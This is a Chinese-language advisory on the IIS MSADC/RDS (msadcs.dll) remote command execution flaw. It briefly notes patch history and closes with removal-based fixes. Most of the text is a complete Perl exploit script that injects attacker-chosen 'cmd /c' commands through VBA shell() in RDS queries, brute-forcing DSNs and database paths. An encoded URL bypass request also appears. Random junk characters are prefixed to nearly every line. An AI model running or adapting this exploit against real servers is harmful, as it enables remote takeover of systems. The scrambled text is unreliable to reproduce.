IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
OrY[ 0I&k_7_ 涉及程序:
^t;z;.g Microsoft NT server
V2MOD{Maat W'lqNOX[v 描述:
* QgKo$IF 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
P15
H[<:Fz CD|[PkjW 详细:
"LMj,qZ1! 如果你没有时间读详细内容的话,就删除:
T<AT&4 c:\Program Files\Common Files\System\Msadc\msadcs.dll
4fEDg{T 有关的安全问题就没有了。
!IxO''4 S{@}ECla 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
[|}IS@ C*7/iRe 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
{z#2gc'Q 关于利用ODBC远程漏洞的描述,请参看:
ZCiCZ)oc \8`?ir
q" http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^J!q>KJs V~J5x >O 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
qWt}8_" http://www.microsoft.com/security/bulletins/MS99-025faq.asp -yYdj1y;
N;7/C
这里不再论述。
#(8|9 qUe
_B 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
pSZ2>^"; @f!X%)\;x /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
1>!LK_ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Cy/&KWLenf U|(+-R8Z -N *L1Zj #将下面这段保存为txt文件,然后: "perl -x 文件名"
EY}:aur }aCa2% #!perl
#YUaM<O #
x0*{oP # MSADC/RDS 'usage' (aka exploit) script
M `xiC #
q'2vE;z Kb # by rain.forest.puppy
EE/mxN(< #
ny={OhP- # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
~E<2gMKjO # beta test and find errors!
d:H'[l.F% wT1s;2 % use Socket; use Getopt::Std;
2G8pDvBr getopts("e:vd:h:XR", \%args);
]I*c:(qwu `?Rq44= print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
U$rMZk .R9Z$Kbq if (!defined $args{h} && !defined $args{R}) {
e|~MJu+1 print qq~
4E'9;tA3l Usage: msadc.pl -h <host> { -d <delay> -X -v }
2iAC_"n -h <host> = host you want to scan (ip or domain)
p{FI_6db -d <seconds> = delay between calls, default 1 second
Bf_$BCyGW -X = dump Index Server path table, if available
'`];=QY9pg -v = verbose
H=r-f@EOrI -e = external dictionary file for step 5
3r\8v`^> d|`Ll Or a -R will resume a command session
l6viP}R 2hE(h ~; exit;}
Ia&R/I 1I+9?fa $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
2|1fb-AR if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
1v o)]ff if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
%x)bZ=An if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
+2tQFV; $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
z\YIwrq3* if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
+^)v"@,VP oFY!NMq}: if (!defined $args{R}){ $ret = &has_msadc;
ON ?Y
Df die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
D$>_W ,*V jYsAL=oh,* print "Please type the NT commandline you want to run (cmd /c assumed):\n"
c/{FDN . "cmd /c ";
XQ}Zr/f6 $in=<STDIN>; chomp $in;
Fsx?(?tCMo $command="cmd /c " . $in ;
|(7}0]BP0 xQy,1f3s+ if (defined $args{R}) {&load; exit;}
~j0rORy] ! -gU~0 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
,Q`qnn& &try_btcustmr;
K*6 "c.D So:X!ljN(e print "\nStep 2: Trying to make our own DSN...";
0lw>mxN &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
X/!_>@`7? PnsBDf%v print "\nStep 3: Trying known DSNs...";
Jh[0xb &known_dsn;
GK?ual1 HpwMm^ print "\nStep 4: Trying known .mdbs...";
V\V
/2u5- &known_mdb;
|<%!9Z KKeMi@N if (defined $args{e}){
{]vD@)k print "\nStep 5: Trying dictionary of DSN names...";
>1y6DC &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
jDzQw>TX 1Pf(.&/9_ print "Sorry Charley...maybe next time?\n";
]@q%dsz exit;
en<mm#Ab #-hO\
QdC ##############################################################################
*kr/,_K x2"iZzQlD sub sendraw { # ripped and modded from whisker
LQ0/oYmNc sleep($delay); # it's a DoS on the server! At least on mine...
H=dIZ my ($pstr)=@_;
?^|`A}q# socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4aayMS!# die("Socket problems\n");
Hl*vS if(connect(S,pack "SnA4x8",2,80,$target)){
^xo<$zn select(S); $|=1;
.nV2n@SR print $pstr; my @in=<S>;
Ebg8qDE
select(STDOUT); close(S);
5/H,UL return @in;
V35Vi6*p } else { die("Can't connect...\n"); }}
|dRVSVN jU,Xlgz(A ##############################################################################
sXKkZ+2q e3~MU6 sub make_header { # make the HTTP request
-@TY8#O#- my $msadc=<<EOT
8\"<t/_
W POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ZbnAAbfKH User-Agent: ACTIVEDATA
f%Q)_F[0D4 Host: $ip
Uj@th Content-Length: $clen
_=v#"l Connection: Keep-Alive
+z
>)'# OG\i?N ADCClientVersion:01.06
)0{`}7X Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Aq i:h]x m0HK1' --!ADM!ROX!YOUR!WORLD!
.hTqZvDa Content-Type: application/x-varg
=w2 4(S Content-Length: $reqlen
PK*Wu<< K+g[E<x\= EOT
X-pbSq~5 ; $msadc=~s/\n/\r\n/g;
8-$t7bV5 return $msadc;}
?W/.'_ sJHVnMA ##############################################################################
4WT[( nF3}wCe) sub make_req { # make the RDS request
&|>@K#V8-; my ($switch, $p1, $p2)=@_;
+ikSa8)*i my $req=""; my $t1, $t2, $query, $dsn;
9u=A:n\ HR>Y?B{ if ($switch==1){ # this is the btcustmr.mdb query
l.YE@EL $query="Select * from Customers where City=" . make_shell();
fHt \KP $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
=C %)(| $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
bQ<qdGa f@*69a8 elsif ($switch==2){ # this is general make table query
;p`1Y<d-O $query="create table AZZ (B int, C varchar(10))";
AGhenDNV $dsn="$p1";}
)'shpRB;1 Spm 0` elsif ($switch==3){ # this is general exploit table query
|}"YUk^ $query="select * from AZZ where C=" . make_shell();
% "RJi? $dsn="$p1";}
X2w)J?pv X+vKY elsif ($switch==4){ # attempt to hork file info from index server
;?h[WIy $query="select path from scope()";
L G}{ibB $dsn="Provider=MSIDXS;";}
xJq|,":gj q8 v iC| elsif ($switch==5){ # bad query
qpQ;,8X-" $query="select";
iO L$| Z( $dsn="$p1";}
x6ghO-s j#HXuV6 $t1= make_unicode($query);
}1a}pm2p $t2= make_unicode($dsn);
.jrNi=BP* $req = "\x02\x00\x03\x00";
.#EU@Hc $req.= "\x08\x00" . pack ("S1", length($t1));
\S}/2]* 1 $req.= "\x00\x00" . $t1 ;
K:Z$V $req.= "\x08\x00" . pack ("S1", length($t2));
7Sdo*z $req.= "\x00\x00" . $t2 ;
*PmZqe $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
fRp] return $req;}
I{Du/"r# n,I3\l9 ##############################################################################
9>RkFV $b8[/], sub make_shell { # this makes the shell() statement
An2>]\L return "'|shell(\"$command\")|'";}
Kda'N$|` MU<(O} ##############################################################################
6?Ncgj
&@ 0R
x#Fm sub make_unicode { # quick little function to convert to unicode
?kjQ_K my ($in)=@_; my $out;
g 9,"u_ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
F^,:p.ihm< return $out;}
$]7f1U_e 1U\ap{z@ ##############################################################################
]#0 ( ?m7:@GOE1 sub rdo_success { # checks for RDO return success (this is kludge)
l9K`+c+t my (@in) = @_; my $base=content_start(@in);
I~,.@{4 if($in[$base]=~/multipart\/mixed/){
RpdUR*K9x return 1 if( $in[$base+10]=~/^\x09\x00/ );}
YQ0#j'}/ return 0;}
^[<BMk f*k7 @[rSv ##############################################################################
qxZIH +C~h( sub make_dsn { # this makes a DSN for us
>Kgw2,y+ my @drives=("c","d","e","f");
zs$r>rlO print "\nMaking DSN: ";
$6"sR I6u foreach $drive (@drives) {
}'[>~&/" print "$drive: ";
7QO/; zL my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
C'R9Nn' "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
N0 {e7M . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Z\
hcK: $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
=v2|QuS$ return 0 if $2 eq "404"; # not found/doesn't exist
2|pTw5z~ if($2 eq "200") {
+pd,gG?dW foreach $line (@results) {
W(q3m;n return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
'-wmY?ZFxy } return 0;}
reu[rZ& %;`Kd}CO ##############################################################################
(j}7|*. <J509j sub verify_exists {
@3`5(xwzm my ($page)=@_;
=rKJJa N my @results=sendraw("GET $page HTTP/1.0\n\n");
b.*LmSX# return $results[0];}
Q)75?mn yan^\)HZ ##############################################################################
xHgC':l(0 (p]FI# y sub try_btcustmr {
*_D/_Rp7 my @drives=("c","d","e","f");
N{J
1C6 my @dirs=("winnt","winnt35","winnt351","win","windows");
TzL|{9 0O3O^
0 foreach $dir (@dirs) {
XgxE M1( print "$dir -> "; # fun status so you can see progress
#X Q/y} ( foreach $drive (@drives) {
gL<n?FG4b print "$drive: "; # ditto
"GMU~594 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
ZP";B^J $reqlenlen=length( "$reqlen" );
<83Ky;ry $clen= 206 + $reqlenlen + $reqlen;
Yp\n=#$[ 'LgRdtO6 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
$6Ma{r C| if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
qbyYNlXqm else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
\'|n.1Fr p)biOG ##############################################################################
{-A|f l!ow\ZuQBF sub odbc_error {
BN*:*cmUl my (@in)=@_; my $base;
l7`{ O/hN my $base = content_start(@in);
&'6/H/J if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
[?K>s>it $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[>ghs_?dZ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
77\+V 0cF $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j!+jLm!l return $in[$base+4].$in[$base+5].$in[$base+6];}
%q5dV<X'c print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
[,;Y5#Y[5 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
T Q41i/{ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
.7Mf(1: ?G `m;S ##############################################################################
_E'?U CL0lMZ sub verbose {
-A#p22D,5 my ($in)=@_;
8LV6E5Q return if !$verbose;
/2Izj/Q print STDOUT "\n$in\n";}
M?l v bjVk9XvH6 ##############################################################################
@a9.s "Enb sub save {
4cQP+ n my ($p1, $p2, $p3, $p4)=@_;
're:_;lG open(OUT, ">rds.save") || print "Problem saving parameters...\n";
FJn-cR.n print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
L<FXtBJ close OUT;}
E{
/,
b) IuY9Q8 ##############################################################################
|WB-N g )N 3^r>(e< sub load {
TcZ.5Oe6h# my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
wra0bS)4 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
k4Q>J,k @p=<IN>; close(IN);
tW/k $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
EE9w^.3a $target= inet_aton($ip) || die("inet_aton problems");
`r$7Cc$C print "Resuming to $ip ...";
N.*)-O
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Kq[4I[+R if($p[1]==1) {
5 `1 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
gnJ8tuS $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
a0NiVF-m% my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
jG>W+lq if (rdo_success(@results)){print "Success!\n";}
Zn9tG:V else { print "failed\n"; verbose(odbc_error(@results));}}
8-#kY}d. elsif ($p[1]==3){
3ijPm<wn if(run_query("$p[3]")){
SKC;@? print "Success!\n";} else { print "failed\n"; }}
DS?.'"n[u elsif ($p[1]==4){
4iA F<|6s if(run_query($drvst . "$p[3]")){
:#:|:q.] print "Success!\n"; } else { print "failed\n"; }}
3\W/VBJJ exit;}
G&S2U=KdV% L{1sYR%s\ ##############################################################################
"Z&.m..gc v,i|:;G sub create_table {
4jXo5SkEJ my ($in)=@_;
prZ
,4\ $reqlen=length( make_req(2,$in,"") ) - 28;
g}MUfl-L $reqlenlen=length( "$reqlen" );
T'p L&@,Q $clen= 206 + $reqlenlen + $reqlen;
{+9RJmZg my @results=sendraw(make_header() . make_req(2,$in,""));
Y
w0,K& return 1 if rdo_success(@results);
I)mB]j my $temp= odbc_error(@results); verbose($temp);
z}E_wg return 1 if $temp=~/Table 'AZZ' already exists/;
\%<M[r= return 0;}
[wQ48\^ =}Tm8b0 ##############################################################################
\Th<7WbR6# y,5qY}P+ sub known_dsn {
wPg/.N9H # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
k[@P526 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
]k!Xb "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
jn^X{R\ "banner", "banners", "ads", "ADCDemo", "ADCTest");
%,bD|
NKp >!Yuef
<P foreach $dSn (@dsns) {
Cd*h4Q]S print ".";
+vkmS next if (!is_access("DSN=$dSn"));
Y,s EM% if(create_table("DSN=$dSn")){
+gd5& print "$dSn successful\n";
t"$~o:U&) if(run_query("DSN=$dSn")){
3en9TB print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
mG
S4W; print "Something's borked. Use verbose next time\n";}}} print "\n";}
:|;@FkQ ^}+\ 52w ##############################################################################
>._d2.Q' 5{'hsC sub is_access {
lp}S'^ y my ($in)=@_;
#,tT`{u1q $reqlen=length( make_req(5,$in,"") ) - 28;
N,TV?Q5l7 $reqlenlen=length( "$reqlen" );
R!dC20IMvH $clen= 206 + $reqlenlen + $reqlen;
ZA="Dac my @results=sendraw(make_header() . make_req(5,$in,""));
H*0Y_H= my $temp= odbc_error(@results);
9rEBq& verbose($temp); return 1 if ($temp=~/Microsoft Access/);
3y)\dln return 0;}
2j+w5KvU >[ B.y ##############################################################################
s#Dj>Fej ?I=1T. sub run_query {
#Ha:O,| my ($in)=@_;
ZPZh6^cc $reqlen=length( make_req(3,$in,"") ) - 28;
os5$( $reqlenlen=length( "$reqlen" );
Vg'R=+Wb $clen= 206 + $reqlenlen + $reqlen;
NifQsy)*% my @results=sendraw(make_header() . make_req(3,$in,""));
<IR#W$[ return 1 if rdo_success(@results);
f30J8n"k my $temp= odbc_error(@results); verbose($temp);
~A>fB2.pM return 0;}
yz68g?" M5no4P< ##############################################################################
-+ByK#<% HJ&P[zV^ sub known_mdb {
{VAih-y my @drives=("c","d","e","f","g");
=\6)B{#T my @dirs=("winnt","winnt35","winnt351","win","windows");
,'
k?rQ my $dir, $drive, $mdb;
e)uC my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
M|blg!j; |O(>{GH # this is sparse, because I don't know of many
v_XN).f; my @sysmdbs=( "\\catroot\\icatalog.mdb",
kk78*s {6 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
v +4v "\\system32\\certmdb.mdb",
h,{Q%sqO "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
V&f*+!!2 l\Ozy my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
egu{}5 "\\cfusion\\cfapps\\forums\\forums_.mdb",
OD)X7PU "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
r~,y3L6ic "\\cfusion\\cfapps\\security\\realm_.mdb",
/V,xSK9.& "\\cfusion\\cfapps\\security\\data\\realm.mdb",
_=$~l^Y[ "\\cfusion\\database\\cfexamples.mdb",
,1ev2T "\\cfusion\\database\\cfsnippets.mdb",
Xz4q^XJ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
8Qg{@#Wr "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
4|PWR_x "\\cfusion\\brighttiger\\database\\cleam.mdb",
SXw r$)4_ "\\cfusion\\database\\smpolicy.mdb",
k3bQ32() "\\cfusion\\database\cypress.mdb",
6!_Wo\_% "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
5&8E{YXr "\\website\\cgi-win\\dbsample.mdb",
{N~mDUoJ| "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
#}#m\=0 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
ndD>Oc}"3 ); #these are just
|jIH gm foreach $drive (@drives) {
u
8o! foreach $dir (@dirs){
JwMRquQv foreach $mdb (@sysmdbs) {
@V:K]M 5 print ".";
-jJhiaJ$< if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
V,KIi_Z print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Pk;w.)kT if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
CFFb>d print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
`ArUoYbB } else { print "Something's borked. Use verbose next time\n"; }}}}}
%*
0GEfl/ v\@qMaPY foreach $drive (@drives) {
5[;[ Te9=S foreach $mdb (@mdbs) {
;^/ruf[t print ".";
Rs=Fcvl if(create_table($drv . $drive . $dir . $mdb)){
[r`KoHwdm print "\n" . $drive . $dir . $mdb . " successful\n";
[WDzaRzd if(run_query($drv . $drive . $dir . $mdb)){
=%|`gZ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
2_pF#M9 } else { print "Something's borked. Use verbose next time\n"; }}}}
#czInXTTx }
jzf~n~ !l*A3qA ##############################################################################
,g?ny<#o M@TG7M7Os sub hork_idx {
d~8U1}dP print "\nAttempting to dump Index Server tables...\n";
=>'8<"M5z print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
`sm Cfh}j6 $reqlen=length( make_req(4,"","") ) - 28;
~m=GS[= $reqlenlen=length( "$reqlen" );
I<QUvs%e $clen= 206 + $reqlenlen + $reqlen;
v:SHaUS my @results=sendraw2(make_header() . make_req(4,"",""));
cx:_5GF if (rdo_success(@results)){
[h-6;.e my $max=@results; my $c; my %d;
XKGiw 2
C for($c=19; $c<$max; $c++){
i6paNHi* $results[$c]=~s/\x00//g;
[<=RsD_q~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
:=Zd)i)3 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
.
Z&5TK4I $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
o'lG9ePM| $d{"$1$2"}="";}
`p\%ha!,w foreach $c (keys %d){ print "$c\n"; }
uL)MbM] } else {print "Index server doesn't seem to be installed.\n"; }}
1te^dh:Vp ~ n<|f ##############################################################################
_-f LD PSc=k0D sub dsn_dict {
$R}C(k
;? open(IN, "<$args{e}") || die("Can't open external dictionary\n");
CRo'r/G while(<IN>){
c^= q(V $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
8
o}5QOW next if (!is_access("DSN=$dSn"));
k1D7=&i if(create_table("DSN=$dSn")){
bZ_&AfcB print "$dSn successful\n";
.!~ysy if(run_query("DSN=$dSn")){
SLuQv?R}9 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
oI-Fr0! print "Something's borked. Use verbose next time\n";}}}
W_XFTqp^ print "\n"; close(IN);}
(m1m}* @ wA{)9. ##############################################################################
W^elzN(
D&m1yl@\J sub sendraw2 { # ripped and modded from whisker
d*+}_EV)Y3 sleep($delay); # it's a DoS on the server! At least on mine...
"dCIg{j my ($pstr)=@_;
b!g)/%C
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
9-n]_AF`0 die("Socket problems\n");
t'F$/mx. if(connect(S,pack "SnA4x8",2,80,$target)){
>IQ&*Bb print "Connected. Getting data";
#xmiUN,| open(OUT,">raw.out"); my @in;
|!K&h(J| select(S); $|=1; print $pstr;
|6NvByc, while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
:vi %7 close(OUT); select(STDOUT); close(S); return @in;
5tv*uz|fv } else { die("Can't connect...\n"); }}
xLIyh7$t u|23M, ##############################################################################
8!v|`Ky `x=kb; sub content_start { # this will take in the server headers
DQhHU1 my (@in)=@_; my $c;
n^QDMyC;I for ($c=1;$c<500;$c++) {
m@nGXl'! if($in[$c] =~/^\x0d\x0a/){
fyUW;dj if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
qF3S\
C else { return $c+1; }}}
gS(JgN return -1;} # it should never get here actually
=x w:@(]{ ;2h"YU-b ##############################################################################
cV:Q(|QC +PYR sub funky {
p3fVw]N my (@in)=@_; my $error=odbc_error(@in);
>]}VD "\ if($error=~/ADO could not find the specified provider/){
3=]/+{B print "\nServer returned an ADO miscofiguration message\nAborting.\n";
TPb&";4ROf exit;}
a?Om;-i2`S if($error=~/A Handler is required/){
ip'v<%,Q3" print "\nServer has custom handler filters (they most likely are patched)\n";
-T+yS BO_3 exit;}
[
2@Lc3< if($error=~/specified Handler has denied Access/){
E2
'Al6^C print "\nServer has custom handler filters (they most likely are patched)\n";
Ew}GPJ exit;}}
H?opG<R=ek VFV8ik) ##############################################################################
w8o?wx* I-.?qcy~ sub has_msadc {
gu3)HCZ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
P9\y~W my $base=content_start(@results);
qjfv9sU return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
^ &KH|qRrO return 0;}
,S(_YS^m w}}+8mk[ ########################
tc;$7F ; .*k!Zl* ;2 o{6 解决方案:
JF&$' 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
k'$7RjCu 2、移除web 目录: /msadc